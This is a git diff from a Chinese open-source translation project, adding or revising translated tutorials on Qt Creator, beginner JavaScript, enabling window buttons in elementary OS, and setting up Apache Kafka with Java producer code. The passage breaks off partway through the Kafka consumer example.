+[#]: collector: (lujun9972) +[#]: translator: (hadisi1993) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14767-1.html) + +我爱用 Qt Creator IDE 的九个原因 +====== + +> Qt Creator 就是丰富的 Qt 库和程序员之间的粘合剂。 + +![](https://img.linux.net.cn/data/attachment/album/202206/27/192023otvmu77tl808lltl.jpg) + +Qt Creator 是 Qt 框架的默认集成开发环境(IDE),同时也是丰富的 Qt 库和用户之前的粘合剂。除了如智能代码补全、调试、项目管理等基础功能外,Qt Creator 还提供了很多让软件开发变得更简单的特性。 + +在这篇文章中,我会重点介绍一些我最喜欢的 [Qt Creator][2] 特性。 + +### 深色模式 + +当我使用一个新的应用时,我的第一个问题是:_它有深色模式吗?_ Qt Creator 的回答是:_你更喜欢哪一种深色模式呢?_ + +你可以在“选项Options”菜单中激活深色模式。在顶部的菜单栏中,点击“工具Tools”,选择“选项Options”,然后转到“环境Environment”部分。下面是你能选择的常用外观: + +![QT Creator 深色模式][3] + +### 定制外观 + +像每一个 Qt 应用一样,借助样式表,Qt Creator 的外观是高度可定制化的。下面,你可以按照我的做法给 Qt Creator一个想要的外观。 + +将下面这些内容写入 `mycustomstylesheet.css` 文件中: + +``` +QMenuBar { background-color: olive } +QMenuBar::item { background-color: olive } +QMenu { background-color : beige; color : black } +QLabel { color: green } +``` + +然后使用命令行开启 Qt Creator,将样式表作为参数传入: + +``` +qtcreator -stylesheet=mycustomstylesheet.css +``` + +IDE 现在看上去应该会变成这样: + +![QT Creator 定制样式表][5] + +在这份 [文档][6] 中可以查阅更多的样式表。 + +### 命令行参数 + +Qt Creator 可接受很多命令行选项。例如,如果想在启动时自动加载当前项目,那么你可以将它的路径传入: + +``` +qtcreator ~/MyProject/MyQtProject.pro +``` + +你甚至可以将默认应该打开的文件和行数作为参数传递。下面这个命令打开 `main.cpp` 20 行处: + +``` +qtcreator ~/MyProject/main.cpp:20 +``` + +在这份 [文档][7] 中可以查阅更多 Qt 特有的命令行选项。 + + +Qt Creator 和一般的 Qt 应用无二,所以,除了自己的命令行参数以外,它也接收 [QApplication][8] 和 [QGuiApplication][9] 的一般参数。 + +### 交叉编译 + +Qt Creator 允许你定义一些被称为“配套Kit”的工具链。 “配套” 定义了构建和运行应用所需要的二进制库和 SDK。 + +![QT Creator kits][10] + +这使得你通过两次点击,就在完全不同的工具链之间切换。 + +![在 Qt Creator 中切换配套][11] + +在这份 [手册][12] 中可以查阅更多关于配套的内容。 + +### 分析工具 + +Qt Creator 集成了一些最流行的性能分析工具,例如: + + * [Linux 性能分析器][13](需要特定的内核) + * [Valgrind][14] 内存分析器 + * [Clang-Tidy 和 Clazy][15],一种检查 C/C++ 的 静态分析器Linter + +![Qt Creator 分析工具][16] + +### 调试器 + +在调试方面,Qt Creator 为 GNU Debugger(GDB)配备了一个很好的界面。我喜欢它检查容器类型和创建条件断点的方式,很简单。 + +![Qt Creator 调试器][17] + +### FakeVim + +如果你喜欢 Vim,你可以在设置中开启 FakeVim,来像 Vim 一样控制 Qt Creator。点击“工具Tools”,选择“选项Options”。在 “FakeVim” 选项中,你可以找到许多开关来定制 FakeVim。除了编辑器的功能外,你可以将自己设置的功能和命令关联起来,定制 Vim 命令。 + +举个例子,你可以将“构建项目Build Project”的功能和 `build` 命令关联到一起: + +![Qt Creator中的FakeVim][18] + +回到编辑器中,当你按下冒号(`:`)并输入 `build`,Qt Creator 利用配置的工具链,开始进行构建: + +![Qt Creator中的FakeVim][19] + +你可以在这份 [文档][20] 中找到 FakeVim 的更多信息。 + +### 类检测器 + +当使用 C++ 开发时,点击 Qt Creator 右下角的按钮可打开右边的窗口。然后在窗口顶部拉下的菜单中选择“大纲Outline”。如果你在左侧窗体中有头文件打开,你可以很好地纵览定义的类和类型。如果你切换到源文件中(`*.cpp`),右侧窗体会列出所有定义的方法,双击其中一个,你可以跳转到这个方法: + +![Qt Creator 中的类列表][21] + +### 项目配置 + +Qt Creator 的项目建立在项目目录里的 `*.pro-file` 之上。你可以为你的项目在 `*.pro-file` 中添加定制的配置。我向 `*.pro-file` 中添加了 `my_special_config`,它向编译器的定义添加 `MY_SPECIAL_CONFIG`。 + +``` +QT -= gui + +CONFIG += c++11 console +CONFIG -= app_bundle + +CONFIG += my_special_config + +my_special_config { +DEFINES += MY_SPECIAL_CONFIG +} +``` + +Qt Creator 自动根据当前配置设置代码高亮: + +![Qt Creator 的特殊配置][22] + +`*.pro-file` 使用 [qmake 语言][23] 进行编写。 + +### 总结 + +这些特性仅仅是 Qt Creators 所提供的特性的冰山一角。初学者们应该不会感到被其众多的功能所淹没,Qt Creator 是一款对初学者很友好的 IDE。它甚至可能是入门 C++ 开发最简单的方式。如果要获得 QT Creator 特性的全面概述,请参考它的 [官方文档][24]。 + +*(插图来自 Stephan Avenwedde, [CC BY-SA 4.0][4])* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/qtcreator + +作者:[Stephan Avenwedde][a] +选题:[lujun9972][b] +译者:[hadisi1993](https://github.com/hadisi1993) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png?itok=-8E2ihcF (Woman using laptop concentrating) +[2]: https://www.qt.io/product/development-tools +[3]: https://opensource.com/sites/default/files/uploads/qt_creator_dark_mode.png ( QT Creator dark mode) +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: https://opensource.com/sites/default/files/uploads/qt_creator_custom_stylesheet2.png (QT Creator custom stylesheet) +[6]: https://doc.qt.io/qt-5/stylesheet-reference.html +[7]: https://doc.qt.io/qtcreator/creator-cli.html +[8]: https://doc.qt.io/qt-5/qapplication.html#QApplication +[9]: https://doc.qt.io/qt-5/qguiapplication.html#supported-command-line-options +[10]: https://opensource.com/sites/default/files/uploads/qt_creator_cross_compiling.png (QT Creator kits) +[11]: https://opensource.com/sites/default/files/uploads/qt_creator_select_kits.png (Switching between Kits in Qt Creator) +[12]: https://doc.qt.io/qtcreator/creator-targets.html +[13]: https://doc.qt.io/qtcreator/creator-cpu-usage-analyzer.html +[14]: https://doc.qt.io/qtcreator/creator-valgrind-overview.html +[15]: https://doc.qt.io/qtcreator/creator-clang-tools.html +[16]: https://opensource.com/sites/default/files/uploads/qt_creator_analyzer.png (Qt Creator analyzer) +[17]: https://opensource.com/sites/default/files/uploads/qt_creator_debugger2.png (Qt Creator debugger) +[18]: https://opensource.com/sites/default/files/uploads/qt_creator_fakevim_ex_commands.png (FakeVim in Qt Creator) +[19]: https://opensource.com/sites/default/files/uploads/qt_creator_fakevim_build_commands.png (FakeVim in Qt Creator) +[20]: https://doc.qt.io/qtcreator/creator-editor-fakevim.html +[21]: https://opensource.com/sites/default/files/uploads/qtcreator_class_overview.png (List of classes in Qt Creator) +[22]: https://opensource.com/sites/default/files/uploads/qtcreater_special_config.png (Special configuration in Qt Creator) +[23]: https://doc.qt.io/qt-5/qmake-language.html +[24]: https://doc.qt.io/qtcreator/ diff --git a/translated/tech/20210722 Write your first JavaScript code.md b/published/202206/20210722 Write your first JavaScript code.md similarity index 79% rename from translated/tech/20210722 Write your first JavaScript code.md rename to published/202206/20210722 Write your first JavaScript code.md index e3a55f94da..1cbb8f9f06 100644 --- a/translated/tech/20210722 Write your first JavaScript code.md +++ b/published/202206/20210722 Write your first JavaScript code.md @@ -3,17 +3,16 @@ [#]: author: "Seth Kenlon https://opensource.com/users/seth" [#]: collector: "lkxed" [#]: translator: "lkxed" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14740-1.html" 编写你的第一段 JavaScript 代码 ====== -JavaScript 是为 Web 而生的,但它可以做的事远不止于此。本文将带领你了解它的基础知识,然后你可以下载我们的备忘清单,以便随时掌握详细信息。 -![开源编程][1] +> JavaScript 是为 Web 而生的,但它可以做的事远不止于此。本文将带领你了解它的基础知识,然后你可以下载我们的备忘清单,以便随时掌握详细信息。 -图源:Opensource.com +![](https://img.linux.net.cn/data/attachment/album/202206/21/114718zzb8f6na6lgb28cn.jpg) JavaScript 是一种充满惊喜的编程语言。许多人第一次遇到 JavaScript 时,它通常是作为一种 Web 语言出现的。所有主流浏览器都有一个 JavaScript 引擎;并且,还有一些流行的框架,如 JQuery、Cash 和 Bootstrap 等,它们可以帮助简化网页设计;甚至还有用 JavaScript 编写的编程环境。它似乎在互联网上无处不在,但事实证明,它对于 [Electron][2] 等项目来说也是一种有用的语言。Electron 是一个构建跨平台桌面应用程序的开源工具包,它使用的语言就是 JavaScript。 @@ -21,11 +20,11 @@ JavaScript 语言的用途多到令人惊讶,它拥有各种各样的库,而 ### 安装 JavaScript -随着你的 JavaScript 水平不断提高,你可能会发现自己需要高级的 JavaScript 库和运行时。不过,刚开始学习的时候,你是根本不需要安装 JavaScript 的。因为所有主流的 Web 浏览器都包含一个 JavaScript 引擎来运行代码。你可以使用自己喜欢的文本编辑器编写 JavaScript,将其加载到 Web 浏览器中,接着你就能看到代码的作用。 +随着你的 JavaScript 水平不断提高,你可能会发现自己需要高级的 JavaScript 库和运行时环境。不过,刚开始学习的时候,你是根本不需要安装 JavaScript 环境的。因为所有主流的 Web 浏览器都包含一个 JavaScript 引擎来运行代码。你可以使用自己喜欢的文本编辑器编写 JavaScript,将其加载到 Web 浏览器中,接着你就能看到代码的作用。 ### 上手 JavaScript -要编写你的第一个 JavaScript 代码,请打开你喜欢的文本编辑器,例如 [Notepad++][3]、[Atom][4] 或 [VSCode][5] 等。因为它是为 Web 开发的,所以 JavaScript 可以很好地与 HTML 配合使用。因此,我们先来尝试一些基本的 HTML: +要编写你的第一个 JavaScript 代码,请打开你喜欢的文本编辑器,例如 [Atom][4] 或 [VSCode][5] 等。因为它是为 Web 开发的,所以 JavaScript 可以很好地与 HTML 配合使用。因此,我们先来尝试一些基本的 HTML: ``` @@ -66,9 +65,9 @@ JavaScript 语言的用途多到令人惊讶,它拥有各种各样的库,而 ![在浏览器中显示带有 JavaScript 的 HTML][7] -如你所见,`

` 标签仍然包含字符串 “Nothing here”,但是当它被渲染时,JavaScript 会改变它,使其包含 “Hello world”。是的,JavaScript 具有重建​​(或只是帮助构建)网页的能力。 +如你所见,`

` 标签仍然包含字符串 `"Nothing here"`,但是当它被渲染时,JavaScript 会改变它,使其包含 `"Hello world"`。是的,JavaScript 具有重建​​(或只是帮助构建)网页的能力。 -这个简单脚本中的 JavaScript 做了两件事。首先,它创建一个名为 `myvariable` 的变量,并将字符串 “Hello world!” 放置其中。然后,它会在当前文档(浏览器呈现的网页)中搜索 ID 为 “example” 的所有 HTML 元素。当它找到 `example` 时,它使用了 `innerHTML` 函数将 HTML 元素的内容替换为 `myvariable` 的内容。 +这个简单脚本中的 JavaScript 做了两件事。首先,它创建一个名为 `myvariable` 的变量,并将字符串 `"Hello world!"` 放置其中。然后,它会在当前文档(浏览器呈现的网页)中搜索 ID 为 `example` 的所有 HTML 元素。当它找到 `example` 时,它使用了 `innerHTML` 函数将 HTML 元素的内容替换为 `myvariable` 的内容。(LCTT 译注:这里作者笔误了,`innerHTML` 是“属性”而非“函数”。) 当然,我们也可以不用自定义变量。因为,使用动态创建的内容来填充 HTML 元素也是容易的。例如,你可以使用当前时间戳来填充它: @@ -94,7 +93,7 @@ JavaScript 语言的用途多到令人惊讶,它拥有各种各样的库,而 在编程中,语法syntax 指的是如何编写句子(或“行”)的规则。在 JavaScript 中,每行代码必须以分号(`;`)结尾,以便运行代码的 JavaScript 引擎知道何时停止阅读。(LCTT 译注:从实用角度看,此处的“必须”其实是不正确的,大多数 JS 引擎都支持不加分号。Vue.js 的作者尤雨溪认为“没有应该不应该,只有你自己喜欢不喜欢”,他同时表示,“Vue.js 的代码全部不带分号”。详情可以查看他在知乎上对于此问题的 [回答][10]。) -单词(或 “字符串”strings)必须用引号(`"`)括起来,而数字(或 “整数”integers)则不用。 +单词(或 字符串strings)必须用引号(`"`)括起来,而数字(或 整数integers)则不用。 几乎所有其他东西都是 JavaScript 语言的约定,例如变量、数组、条件语句、对象、函数等等。 @@ -111,7 +110,7 @@ document.getElementById("example").innerHTML = typeof(myvariable); ``` -接着,你就会发现 Web 浏览器中显示出 “string” 字样,因为该变量包含的数据是 “Hello world!”。在 `myvariable` 中存储不同类型的数据(例如整数),浏览器就会把不同的数据类型打印到示例网页上。尝试将 `myvariable` 的内容更改为你喜欢的数字,然后重新加载页面。 +接着,你就会发现 Web 浏览器中显示出 “string” 字样,因为该变量包含的数据是 `"Hello world!"`。在 `myvariable` 中存储不同类型的数据(例如整数),浏览器就会把不同的数据类型打印到示例网页上。尝试将 `myvariable` 的内容更改为你喜欢的数字,然后重新加载页面。 ### 在 JavaScript 中创建函数 @@ -160,7 +159,7 @@ document.getElementById("example").innerHTML = typeof(myvariable); 学习 JavaScript 既简单又有趣。网络上有很多网站提供了相关教程,还有超过一百万个 JavaScript 库可帮助你与设备、外围设备、物联网、服务器、文件系统等进行交互。在你学习的过程中,请将我们的 [JavaScript 备忘单][9] 放在身边,以便记住语法和结构的细节。 -正文中的配图来自:Seth Kenlon,CC BY-SA 4.0 +> **[JavaScript 备忘单][9]** -------------------------------------------------------------------------------- @@ -169,7 +168,7 @@ via: https://opensource.com/article/21/7/javascript-cheat-sheet 作者:[Seth Kenlon][a] 选题:[lkxed][b] 译者:[lkxed](https://github.com/lkxed) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/20210724 How to Fix yay- error while loading shared libraries- libalpm.so.12.md b/published/202206/20210724 How to Fix yay- error while loading shared libraries- libalpm.so.12.md similarity index 100% rename from published/20210724 How to Fix yay- error while loading shared libraries- libalpm.so.12.md rename to published/202206/20210724 How to Fix yay- error while loading shared libraries- libalpm.so.12.md diff --git a/published/20210725 How to Recover Arch Linux Install via chroot.md b/published/202206/20210725 How to Recover Arch Linux Install via chroot.md similarity index 100% rename from published/20210725 How to Recover Arch Linux Install via chroot.md rename to published/202206/20210725 How to Recover Arch Linux Install via chroot.md diff --git a/published/202206/20210809 How to Enable Minimize, Maximize Window Buttons in elementary OS.md b/published/202206/20210809 How to Enable Minimize, Maximize Window Buttons in elementary OS.md new file mode 100644 index 0000000000..64d7a26557 --- /dev/null +++ b/published/202206/20210809 How to Enable Minimize, Maximize Window Buttons in elementary OS.md @@ -0,0 +1,91 @@ +[#]: subject: "How to Enable Minimize, Maximize Window Buttons in elementary OS" +[#]: via: "https://www.debugpoint.com/2021/08/enable-minimize-maximize-elementary/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14778-1.html" + +如何在 elementary OS 中启用最小化、最大化窗口按钮 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/30/141133zfwflwefqwyeffff.jpg) + +> 这是如何在 elementary OS 中启用最小化、最大化窗口按钮的方法。 + +许多人(大多数是 elementary OS 的新用户)在各种论坛上问这些问题: + +1. 我怎样才能在 elementary OS 中启用最小化按钮? +2. 我如何启用还原、最小化、最大化? +3. 有可能恢复最小化和最大化按钮吗? + +这些都是完全正常的问题,而且问问题也是可以的。对吧?这篇指南可以帮助他们在 elementary OS 中获得这些按钮。 + +Elementary OS 所使用的 Pantheon 桌面并没有默认的标准窗口按钮。其主要原因是通过 Dock 和应用菜单处理用户行为和活动的不同理念。可以说,这种设计或实现的行为模仿了macOS。 + +不过,许多用户更喜欢窗口按钮,因为这是一个所谓的“肌肉记忆”,而且有些人是从其他桌面环境(甚至是 Windows)迁移过来的。 + +尽管 Elementary 没有为你提供这个默认设置,你仍然可以启用它。下面是方法。 + +### 启用最小化最大化按钮 - elementary OS + +打开终端,安装添加 PPA 所需的 `software-properties-common` 软件包。默认情况下,这个包在 elementary OS 中没有安装(不要问我为什么,真的)。 + +``` +sudo apt install software-properties-common +``` + +#### elementary OS 6 Odin + +elementary Tweak 工具被重新换了个名字,它现在被称为 [Pantheon Tweaks][1],并正在单独开发中。使用以下命令,你可以安装它: + +``` +sudo add-apt-repository -y ppa:philip.scott/pantheon-tweaks +sudo apt install -y pantheon-tweaks +``` + +#### elementary OS 5 Juno 及更低版本 + +如果你使用的是 elementary OS 5 June 及更低版本,你可以使用相同的 PPA 安装早期的 [elementary-tweaks][2]。在终端按照以下命令进行操作: + +``` +sudo add-apt-repository -y ppa:philip.scott/elementary-tweaks +sudo apt install -y elementary-tweaks +``` + +#### 更改设置 + +* 安装后,点击顶部栏的“应用Application”,打开“系统设置System settings”。在系统设置窗口中,点击“个人Personal”下的 “Tweaks”。 +* 在 Tweaks 窗口中,进入“外观Appearance”。 +* 在窗口控制下,选择布局:“Windows”。 + + ![enable minimize maximize buttons elementary OS][3] + +* 然后在顶部窗口栏的右侧应该有最小化、最大化和关闭按钮了。 + +也有其他组合形式,如 Ubuntu、macOS 等。你可以选择任何你觉得合适的: + +![Other Options of Window buttons in elementary][4] + +这篇指南至此就结束了。系统设置中还有其他选项,你可以尝试使用,但窗口管理器 gala 最近删除了这些选项。因此,它们目前可能无法工作。 + +我希望这个指南能帮助你启用 elementary OS 的最小化最大化按钮。如果你需要任何帮助,请在下面的评论栏告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2021/08/enable-minimize-maximize-elementary/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://github.com/pantheon-tweaks/pantheon-tweaks +[2]: https://github.com/elementary-tweaks/elementary-tweaks +[3]: https://www.debugpoint.com/wp-content/uploads/2021/08/enable-minimize-maximize-buttons-elementary-OS.png +[4]: https://www.debugpoint.com/wp-content/uploads/2021/08/Other-Options-of-Window-buttons-in-elementary.jpg diff --git a/published/202206/20211102 Apache Kafka- Asynchronous Messaging for Seamless Systems.md b/published/202206/20211102 Apache Kafka- Asynchronous Messaging for Seamless Systems.md new file mode 100644 index 0000000000..3882caa3a3 --- /dev/null +++ b/published/202206/20211102 Apache Kafka- Asynchronous Messaging for Seamless Systems.md @@ -0,0 +1,303 @@ +[#]: subject: "Apache Kafka: Asynchronous Messaging for Seamless Systems" +[#]: via: "https://www.opensourceforu.com/2021/11/apache-kafka-asynchronous-messaging-for-seamless-systems/" +[#]: author: "Krishna Mohan Koyya https://www.opensourceforu.com/author/krishna-mohan-koyya/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14772-1.html" + +Apache Kafka:为“无缝系统”提供异步消息支持 +====== + +> Apache Kafka 是最流行的开源消息代理之一。它已经成为了大数据操作的重要组成部分,你能够在几乎所有的微服务环境中找到它。本文对 Apache Kafka 进行了简要介绍,并提供了一个案例来展示它的使用方式。 + +![](https://img.linux.net.cn/data/attachment/album/202206/29/094326fbo6zzsrxiava661.jpg) + +你有没有想过,电子商务平台是如何在处理巨大的流量时,做到不会卡顿的呢?有没有想过,OTT 平台是如何在同时向数百万用户交付内容时,做到平稳运行的呢?其实,关键就在于它们的分布式架构。 + +采用分布式架构设计的系统由多个功能组件组成。这些功能组件通常分布在多个机器上,它们通过网络,异步地交换消息,从而实现相互协作。正是由于异步消息的存在,组件之间才能实现可伸缩、无阻塞的通信,整个系统才能够平稳运行。 + +### 异步消息 + +异步消息的常见特性有: + +* 消息的生产者producer消费者consumer都不知道彼此的存在。它们在不知道对方的情况下,加入和离开系统。 +* 消息代理broker充当了生产者和消费者之间的中介。 +* 生产者把每条消息,都与一个“主题topic”相关联。主题是一个简单的字符串。 +* 生产者可以在多个主题上发送消息,不同的生产者也可以在同一主题上发送消息。 +* 消费者向代理订阅一个或多个主题的消息。 +* 生产者只将消息发送给代理,而不发送给消费者。 +* 代理会把消息发送给订阅该主题的所有消费者。 +* 代理将消息传递给针对该主题注册的所有消费者。 +* 生产者并不期望得到消费者的任何回应。换句话说,生产者和消费者不会相互阻塞。 + +市场上的消息代理有很多,而 Apache Kafka 是其中最受欢迎的之一。 + +### Apache Kafka + +Apache Kafka 是一个支持流式处理的、开源的分布式消息系统,它由 Apache 软件基金会开发。在架构上,它是多个代理组成的集群,这些代理间通过 Apache ZooKeeper 服务来协调。在接收、持久化和发送消息时,这些代理分担集群上的负载。 + +#### 分区 + +Kafka 将消息写入称为“分区partition”的桶中。一个特定分区只保存一个主题上的消息。例如,Kafka 会把 `heartbeats` 主题上的消息写入名为 `heartbeats-0` 的分区(假设它是个单分区主题),这个过程和生产者无关。 + +![图 1:异步消息][2] + +不过,为了利用 Kafka 集群所提供的并行处理能力,管理员通常会为指定主题创建多个分区。举个例子,假设管理员为 `heartbeats` 主题创建了三个分区,Kafka 会将它们分别命名为 `heartbeats-0`、`heartbeats-1` 和 `heartbeats-2`。Kafka 会以某种方式,把消息分配到这三个分区中,并使它们均匀分布。 + +还有另一种可能的情况,生产者将每条消息与一个消息键key相关联。例如,同样都是在 `heartbeats` 主题上发送消息,有个组件使用 `C1` 作为消息键,另一个则使用 `C2`。在这种情况下,Kafka 会确保,在一个主题中,带有相同消息键的消息,总是会被写入到同一个分区。不过,在一个分区中,消息的消息键却不一定相同。下面的图 2 显示了消息在不同分区中的一种可能分布。 + +![图 2:消息在不同分区中的分布][3] + +#### 领导者和同步副本 + +Kafka 在(由多个代理组成的)集群中维护了多个分区。其中,负责维护分区的那个代理被称为“领导者leader”。只有领导者能够在它的分区上接收和发送消息。 + +可是,万一分区的领导者发生故障了,又该怎么办呢?为了确保业务连续性,每个领导者(代理)都会把它的分区复制到其他代理上。此时,这些其他代理就称为该分区的同步副本in-sync-replicas(ISR)。一旦分区的领导者发生故障,ZooKeeper 就会发起一次选举,把选中的那个同步副本任命为新的领导者。此后,这个新的领导者将承担该分区的消息接受和发送任务。管理员可以指定分区需要维护的同步副本的大小。 + +![图 3:生产者命令行工具][4] + +#### 消息持久化 + +代理会将每个分区都映射到一个指定的磁盘文件,从而实现持久化。默认情况下,消息会在磁盘上保留一个星期。当消息写入分区后,它们的内容和顺序就不能更改了。管理员可以配置一些策略,如消息的保留时长、压缩算法等。 + +![图 4:消费者命令行工具][5] + +#### 消费消息 + +与大多数其他消息系统不同,Kafka 不会主动将消息发送给消费者。相反,消费者应该监听主题,并主动读取消息。一个消费者可以从某个主题的多个分区中读取消息。多个消费者也可以读取来自同一个分区的消息。Kafka 保证了同一条消息不会被同一个消费者重复读取。 + +Kafka 中的每个消费者都有一个组 ID。那些组 ID 相同的消费者们共同组成了一个消费者组。通常,为了从 N 个主题分区读取消息,管理员会创建一个包含 N 个消费者的消费者组。这样一来,组内的每个消费者都可以从它的指定分区中读取消息。如果组内的消费者比可用分区还要多,那么多出来的消费者就会处于闲置状态。 + +在任何情况下,Kafka 都保证:不管组内有多少个消费者,同一条消息只会被该消费者组读取一次。这个架构提供了一致性、高性能、高可扩展性、准实时交付和消息持久性,以及零消息丢失。 + +### 安装、运行 Kafka + +尽管在理论上,Kafka 集群可以由任意数量的代理组成,但在生产环境中,大多数集群通常由三个或五个代理组成。 + +在这里,我们将搭建一个单代理集群,对于生产环境来说,它已经够用了。 + +在浏览器中访问 [https://kafka.apache.org/downloads][5a],下载 Kafka 的最新版本。在 Linux 终端中,我们也可以使用下面的命令来下载它: + +``` +wget https://www.apache.org/dyn/closer.cgi?path=/kafka/2.8.0/kafka_2.12-2.8.0.tgz +``` + +如果需要的话,我们也可以把下载来的档案文件 `kafka_2.12-2.8.0.tgz` 移动到另一个目录下。解压这个档案,你会得到一个名为 `kafka_2.12-2.8.0` 的目录,它就是之后我们要设置的 `KAFKA_HOME`。 + +打开 `KAFKA_HOME/config` 目录下的 `server.properties` 文件,取消注释下面这一行配置: + +``` +listeners=PLAINTEXT://:9092 +``` + +这行配置的作用是让 Kafka 在本机的 `9092` 端口接收普通文本消息。我们也可以配置 Kafka 通过安全通道secure channel接收消息,在生产环境中,我们也推荐这么做。 + +无论集群中有多少个代理,Kafka 都需要 ZooKeeper 来管理和协调它们。即使是单代理集群,也是如此。Kafka 在安装时,会附带安装 ZooKeeper,因此,我们可以在 `KAFKA_HOME` 目录下,在命令行中使用下面的命令来启动它: + +``` +./bin/zookeeper-server-start.sh ./config/zookeeper.properties +``` + +当 ZooKeeper 运行起来后,我们就可以在另一个终端中启动 Kafka 了,命令如下: + +``` +./bin/kafka-server-start.sh ./config/server.properties +``` + +到这里,一个单代理的 Kafka 集群就运行起来了。 + +### 验证 Kafka + +让我们在 `topic-1` 主题上尝试下发送和接收消息吧!我们可以使用下面的命令,在创建主题时为它指定分区的个数: + +``` +./bin/kafka-topics.sh --create --topic topic-1 --zookeeper localhost:2181 --partitions 3 --replication-factor 1 +``` + +上述命令还同时指定了复制因子replication factor,它的值不能大于集群中代理的数量。我们使用的是单代理集群,因此,复制因子只能设置为 1。 + +当主题创建完成后,生产者和消费者就可以在上面交换消息了。Kafka 的发行版内附带了生产者和消费者的命令行工具,供测试时用。 + +打开第三个终端,运行下面的命令,启动生产者: + +``` +./bin/kafka-console-producer.sh --broker-list localhost:9092 --topic topic-1 +``` + +上述命令显示了一个提示符,我们可以在后面输入简单文本消息。由于我们指定的命令选项,生产者会把 `topic-1` 上的消息,发送到运行在本机的 9092 端口的 Kafka 中。 + +打开第四个终端,运行下面的命令,启动消费者: + +``` +./bin/kafka-console-consumer.sh --bootstrap-server localhost:9092 --topic topic-1 –-from-beginning +``` + +上述命令启动了一个消费者,并指定它连接到本机 9092 端口的 Kafka。它订阅了 `topic-1` 主题,以读取其中的消息。由于命令行的最后一个选项,这个消费者会从最开头的位置,开始读取该主题的所有消息。 + +我们注意到,生产者和消费者连接的是同一个代理,访问的是同一个主题,因此,消费者在收到消息后会把消息打印到终端上。 + +下面,让我们在实际应用场景中,尝试使用 Kafka 吧! + +### 案例 + +假设有一家叫做 ABC 的公共汽车运输公司,它拥有一支客运车队,往返于全国不同城市之间。由于 ABC 希望实时跟踪每辆客车,以提高其运营质量,因此,它提出了一个基于 Apache Kafka 的解决方案。 + +首先,ABC 公司为所有公交车都配备了位置追踪设备。然后,它使用 Kafka 建立了一个操作中心,以接收来自数百辆客车的位置更新。它还开发了一个仪表盘dashboard,以显示任一时间点所有客车的当前位置。图 5 展示了上述架构: + +![图 5:基于 Kafka 的架构][6] + +在这种架构下,客车上的设备扮演了消息生产者的角色。它们会周期性地把当前位置发送到 Kafka 的 `abc-bus-location` 主题上。ABC 公司选择以客车的行程编号trip code作为消息键,以处理来自不同客车的消息。例如,对于从 Bengaluru 到 Hubballi 的客车,它的行程编号就会是 `BLRHL003`,那么在这段旅程中,对于所有来自该客车的消息,它们的消息键都会是 `BLRHL003`。 + +仪表盘应用扮演了消息消费者的角色。它在代理上注册了同一个主题 `abc-bus-location`。如此,这个主题就成为了生产者(客车)和消费者(仪表盘)之间的虚拟通道。 + +客车上的设备不会期待得到来自仪表盘应用的任何回复。事实上,它们相互之间都不知道对方的存在。得益于这种架构,数百辆客车和操作中心之间实现了非阻塞通信。 + +#### 实现 + +假设 ABC 公司想要创建三个分区来维护位置更新。由于我们的开发环境只有一个代理,因此复制因子应设置为 1。 + +相应地,以下命令创建了符合需求的主题: + +``` +./bin/kafka-topics.sh --create --topic abc-bus-location --zookeeper localhost:2181 --partitions 3 --replication-factor 1 +``` + +生产者和消费者应用可以用多种语言编写,如 Java、Scala、Python 和 JavaScript 等。下面几节中的代码展示了它们在 Java 中的编写方式,好让我们有一个初步了解。 + +##### Java 生产者 + +下面的 `Fleet` 类模拟了在 ABC 公司的 6 辆客车上运行的 Kafka 生产者应用。它会把位置更新发送到指定代理的 `abc-bus-location` 主题上。请注意,简单起见,主题名称、消息键、消息内容和代理地址等,都在代码里硬编码的。 + +``` +public class Fleet { + public static void main(String[] args) throws Exception { + String broker = “localhost:9092”; + Properties props = new Properties(); + props.setProperty(ProducerConfig.BOOTSTRAP_SERVERS_CONFIG, broker); + props.setProperty(ProducerConfig.KEY_SERIALIZER_CLASS_CONFIG, + StringSerializer.class.getName()); + props.setProperty(ProducerConfig.VALUE_SERIALIZER_CLASS_CONFIG, + StringSerializer.class.getName()); + + Producer producer = new KafkaProducer(props); + String topic = “abc-bus-location”; + Map locations = new HashMap<>(); + locations.put(“BLRHBL001”, “13.071362, 77.461906”); + locations.put(“BLRHBL002”, “14.399654, 76.045834”); + locations.put(“BLRHBL003”, “15.183959, 75.137622”); + locations.put(“BLRHBL004”, “13.659576, 76.944675”); + locations.put(“BLRHBL005”, “12.981337, 77.596181”); + locations.put(“BLRHBL006”, “13.024843, 77.546983”); + + IntStream.range(0, 10).forEach(i -> { + for (String trip : locations.keySet()) { + ProducerRecord record + = new ProducerRecord( + topic, trip, locations.get(trip)); + producer.send(record); + } + }); + producer.flush(); + producer.close(); + } +} +``` + +##### Java 消费者 + +下面的 `Dashboard` 类实现了一个 Kafka 消费者应用,运行在 ABC 公司的操作中心。它会监听 `abc-bus-location` 主题,并且它的消费者组 ID 是 